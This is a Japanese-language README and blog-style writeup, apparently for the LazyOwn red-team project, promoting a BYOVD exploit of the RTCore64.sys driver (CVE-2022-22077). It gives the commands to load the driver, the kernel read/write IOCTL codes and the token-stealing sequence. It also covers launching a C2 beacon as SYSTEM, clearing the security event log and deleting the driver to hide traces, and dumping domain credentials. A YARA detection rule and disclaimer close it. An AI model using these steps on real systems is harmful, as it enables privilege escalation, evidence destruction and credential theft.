grisuno/cve-2022-22077CVE-2022-22077 は、MSI Center に同梱されている RTCore64.sys ドライバに影響を与える高深刻度の脆弱性（CVSS スコア 7.8）です。
このドキュメントは、RTCore64.sys ドライバの脆弱性を標的とした高度な BYOVD（Bring Your Own Vulnerable Driver）攻撃ツールキットである CVE-2022-22077 エクスプロイトフレームワークの包括的な概要を提供します。このフレームワークは、教育およびセキュリティ研究を目的とした高度な Windows カーネルエクスプロイト技術を示しています。
対象となる内容には、脆弱性の技術的基盤、フレームワークのアーキテクチャ、およびより広範な LazyOwn RedTeam ツールキットとの統合が含まれます。詳細な脆弱性分析については、Vulnerability Analysis を参照してください。個々のコンポーネントの具体的な実装の詳細については、Exploitation Framework を参照してください。
CVE-2022-22077 は、MSI Center および Dragon Center アプリケーションに同梱されている RTCore64.sys ドライバに影響を与える高深刻度の脆弱性（CVSS スコア 7.8）です。この脆弱性は、公開された IOCTL インターフェースに起因し、非特権ユーザーが任意の物理メモリの読み取りおよび書き込みを実行できるようにし、事実上すべての Windows カーネルセキュリティメカニズムをバイパスします。
このフレームワークは、RTCore64.sys ドライバの脆弱性を利用した構造化されたアプローチにより、カーネルメモリアクセスを実装します:
著者: grisun0、カーネルカオスのチーフアーキテクト＆パートタイムドライバウィスパラー - LazyOwn RedTeam
7 分で読了 · 午前 3:33 に公開。理由は「HVCI？ 知らないけどね。」
「システムを乗っ取る最良の方法は、そのシステム自身のドライバに許可を求めることだ — 丁寧に、IOCTL を使って。」 — grisun0、おそらく下着姿で MSI Afterburner をリバースエンジニアリングしながら
これが普通だふりをする部分は省略しよう。
これを読んでいるあなたは、おそらく次のいずれかだ:
LazyOwn RedTeam™ へようこそ。ここではセキュリティをバイパスするのではなく、ディナーに招待してから財布を盗みます。
今日紹介するのは RTCore64.sys — ドライバでもツールでもなく、RTX 3090 のオーバークロック用ユーティリティを装った完全に機能するカーネルエクスプロイトです。
そしてその通り、ここにひねりがあります。
ネタバレ: 今でも cmd.exe を使用します。 さらに大きなネタバレ: 今では beacon.exe も使用します。 さらにさらに大きなネタバレ: 「任意のカーネルメモリアクセス」を利便性機能だと考えていたドライバのおかげで、両方とも NT AUTHORITY\SYSTEM 権限で実行されています。
🕳️ RTCore64.sys とは？（または:「MSI Afterburner を Ring 0 バックドアに変える方法」） GPU の電圧を調整するためにドライバをインストールしたら… 誤ってカーネルメモリへの完全な読み取り/書き込みアクセスを手に入れてしまったと想像してみてください。
これが CVE-2022–22077 です — 非常に見事に無謀な脆弱性で、capcom.sys が恥ずかしがり屋の図書館員に見えてしまうほどです。
capcom.sys がコールバックを実行するために丁寧に頼んでいた一方で、RTCore64.sys は何の質問もせずに王国の鍵を手渡してくれます。
「IOCTL をどうぞ。任意のアドレスに書き込み、任意の値を読み取ってください。ご自由に。」 — MSI、おそらく
そして私たちはプロなので、無作為に DeviceIoControl するだけではありません。SYSTEM トークンを盗み、EPROCESS 構造をパッチし、SYSTEM シェルを起動します — すべて GPU が 70°C に達する前に。
このデジタル強奪劇の5幕を順に説明しましょう:
間違い。
その中に埋め込まれているのは RTCore64.sys — 署名済みで脆弱なドライバで、以下のような IOCTL を公開しています:
0x80002048 → カーネルメモリの読み取り 0x8000204c → カーネルメモリの書き込み
検証なし。健全性チェックなし。ただの生の、フィルタリングされていない力だけ。
「カーネルできるのに、なぜサンドボックスなのか？」 — MSI エンジニアリングチーム、2019年
ただこれだけ:
sc create RTCore64 binPath=C:\Windows\Temp\RTCore64.sys type=kernel
sc start RTCore64
ドン。カーネルアクセス解放。
前提条件: SeLoadDriverPrivilege（あなたは優秀なので、すでに持っています）。 ボーナス: HVCI 無効（スタイルがあるのに、誰が仮想化を必要とするでしょうか？）。
CreateFileW(L"\\.\RTCore64", ...) → 黄金のチケットを掴む。 EnumDeviceDrivers() → ntoskrnl.exe ベースを見つける。 ディスクから PsInitialSystemProcess を解析 → オフセットを取得。 SYSTEM の EPROCESS を読み取る → そのトークンを盗む。 自分のプロセスにトークンを書き込む → おめでとう、あなたは神です。 CreateProcessW(L"beacon.exe", ...) → SYSTEM としてペイロードを起動。
シェルコードなし。ROP チェーンなし。ただの純粋で混じり気のないカーネルオブジェクト操作だけ。
wevtutil cl security
del C:\Windows\Temp\RTCore64.sys
sc delete RTCore64
シュッ。消えた。RAM をオーバークロックして消え去った幽霊のように。
tasklist /m mimilib.dll
eventcreate /t INFORMATION /id 1 /l APPLICATION /d “sekurlsa::logonpasswords”
type C:\Windows\System32\mimilsa.log
→ ドメイン管理者ハッシュ？ 完了。 → 平文パスワード？ 完了。 → ゴールデンチケット？ すぐにどうぞ。
RTCore64.sys は一匹狼ではありません。 それは LazyOwn RedTeam Framework のノードです — モジュール式で拡張可能、そして少しぶっ飛んだ攻撃ツールのエコシステムです。
想像してみてください:
ShadowLink でシェルコードを生成。 LazyAddons で難読化。 RTCore64.sys のトークン窃取で配信。 CreateProcessW で SYSTEM として実行。 すべて Steam のダウンロードのように見える C2 から調整される。 そして最も素晴らしい点は？ すべてオープンソースであること。 なぜなら透明性こそ最高の OPSEC だから。
👉 実際の動作を見る（頭の中で。午前 4 時にこれを撮影しているわけではないので）冗談です。ポップコーンを持って見てください:
https://www.youtube.com/shorts/V2tqH53LRIw
そうです。これは Windows の beacon.exe:
RTCore64.sys のトークン窃取で起動 NT AUTHORITY\SYSTEM として実行 あなたの C2 にコールバック その間ずっとタスクマネージャーは「普通に見えますけど」と言っている しかも管理者として実行されているわけでもない。 それほどまでに優れているのです。
私は単なるレッドチーマーではありません。責任あるレッドチーマーです。というわけで、無料の情報をどうぞ:
yara
rule RTCore64_Based_Kernel_Exploit {
meta:
author = “LazyOwn BlueTeam”
description = “Detects RTCore64.sys exploitation via known IOCTLs and patterns”
license = “GPLv3”
strings:
$driver_name = “RTCore64.sys” ascii wide
$ioctl_read = { 80 00 20 48 } // 0x80002048
$ioctl_write = { 80 00 20 4C } // 0x8000204c
$create_device = “CreateFileW” ascii
$device_path = “\\.\RTCore64” ascii wide
$token_steal = “PsInitialSystemProcess” ascii
condition:
all of them
}
以下の兆候を探してください:
C:\Program Files (x86)\MSI Afterburner\ 以外からロードされた RTCore64.sys 0x80002048 または 0x8000204c を使用した DeviceIoControl 呼び出し 低権限から SYSTEM へのプロセストークン変更 RTCore64 を対象とした sc create または sc start カーネルメモリから読み取られる PsInitialSystemProcess この組み合わせを見かけたら？ あなたは RTCore されました。
このツールは教育および倫理的なレッドチーミングのみを目的として公開されています。
所有していないシステム、または明示的なテスト許可がないシステムでは使用しないでください。
誤用すると、以下の結果を招く可能性があります:
解雇される 訴えられる GPU が神様コンプレックスを発症する Microsoft があなたのドライバの署名を失効させる（また） お母さんがまた「政府をハッキングしてるの？」と尋ねてくる
私は一切の責任を負いません。自己責任でお願いします、カウボーイ。
RTCore64.sys のようなツールは、システムを壊すためではなく、その脆弱性を明らかにするために存在します。
防御側を訓練するために。 検知ロジックをテストするために。 あなたのゲーミング PC をネットワーク上で最も危険なデバイスにするために。
さあ、前進してください。 学び、 テストし、 （倫理的に）壊してください。
そして覚えておいてください:
最高のセキュリティとは、あなたのグラフィックスカードがあなたに対して陰謀を企てているかどうかを疑わせるようなものです。
🔐 grisun0、サインオフ — おそらくあなたの GPU の VRAM の中にあるカーネルデバッガから。
BYOVD トークン偽装 RTCore64.sys カーネルエクスプロイト レッドチーミング LazyOwn
P.S. 午前 3 時に GPU が自分自身をオーバークロックし始めたら… どういたしまして。🚀
🔗 CVE-2022-22077（NVD）
🔗 https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/
🔗 https://github.com/grisuno/beacon
🔗 https://github.com/grisuno/LazyOwn/
